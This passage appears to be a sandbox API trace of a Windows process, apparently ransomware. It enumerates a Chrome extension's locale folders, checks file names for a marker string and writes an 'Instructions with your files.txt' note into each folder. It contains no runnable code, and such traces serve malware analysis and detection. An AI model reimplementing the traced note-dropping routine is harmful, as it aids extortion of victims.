[0129.374] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.375] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.375] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.375] CloseHandle (hObject=0x134) returned 1
[0129.375] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.375] GetProcessHeap () returned 0x810000
[0129.375] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.375] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
[0129.375] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv") returned 143
[0129.375] GetProcessHeap () returned 0x810000
[0129.375] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.375] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*") returned 145
[0129.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.376] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\.") returned 145
[0129.376] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.376] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\..") returned 146
[0129.376] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.376] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 157
[0129.376] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.376] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.376] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\Instructions with your files.txt") returned 176
[0129.376] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.377] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.378] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.378] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.378] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.378] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.378] CloseHandle (hObject=0x134) returned 1
[0129.378] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.378] GetProcessHeap () returned 0x810000
[0129.378] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.378] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
[0129.378] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl") returned 143
[0129.378] GetProcessHeap () returned 0x810000
[0129.378] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.378] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*") returned 145
[0129.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.379] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\.") returned 145
[0129.379] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.379] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\..") returned 146
[0129.379] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.379] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 157
[0129.379] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.379] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.379] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\Instructions with your files.txt") returned 176
[0129.379] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.379] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.380] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.380] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.380] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.380] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.381] CloseHandle (hObject=0x134) returned 1
[0129.384] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.384] GetProcessHeap () returned 0x810000
[0129.384] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.384] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
[0129.384] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no") returned 143
[0129.384] GetProcessHeap () returned 0x810000
[0129.384] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.385] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*") returned 145
[0129.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.385] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\.") returned 145
[0129.385] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.385] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\..") returned 146
[0129.385] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c12fb00, ftLastWriteTime.dwHighDateTime=0x1d0f3ee, nFileSizeHigh=0x0, nFileSizeLow=0x9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.386] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 157
[0129.386] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.386] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c12fb00, ftLastWriteTime.dwHighDateTime=0x1d0f3ee, nFileSizeHigh=0x0, nFileSizeLow=0x9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.386] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\Instructions with your files.txt") returned 176
[0129.386] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.386] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.387] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.387] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.387] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.387] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.387] CloseHandle (hObject=0x134) returned 1
[0129.387] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.387] GetProcessHeap () returned 0x810000
[0129.387] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.387] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
[0129.387] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl") returned 143
[0129.387] GetProcessHeap () returned 0x810000
[0129.388] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.388] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*") returned 145
[0129.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.388] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\.") returned 145
[0129.388] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.388] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\..") returned 146
